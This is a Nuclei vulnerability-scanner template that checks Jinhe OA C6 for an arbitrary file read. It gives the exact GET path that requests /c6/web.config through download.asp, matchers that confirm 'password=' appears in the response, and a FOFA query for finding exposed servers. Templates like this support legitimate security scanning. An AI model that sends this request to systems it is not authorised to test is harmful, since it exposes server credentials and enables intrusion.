nuclei-templates/http/vulnerabilities/jinhe/jinhe-oa-c6-lfi.yaml

27 lines
811 B
YAML
Raw Normal View History

2023-08-21 14:23:32 +00:00
id: jinhe-oa-c6-lfi
info:
name: Jinhe OA C6 download.jsp Arbitary File Read
author: SleepingBag945
severity: high
description: |
There is an arbitrary file read vulnerability in Jinhe OA C6 download.jsp file, through which an attacker can obtain sensitive information in the server
metadata:
fofa-query: app="金和网络-金和OA"
verified: true
max-request: 1
tags: jinhe,lfi,misconfig
http:
- method: GET
path:
- '{{BaseURL}}/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config'
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body,"<configuration>") && contains(body,"password=")'
- 'contains(header,"filename=") && contains(header,"application/octet-stream")'
condition: and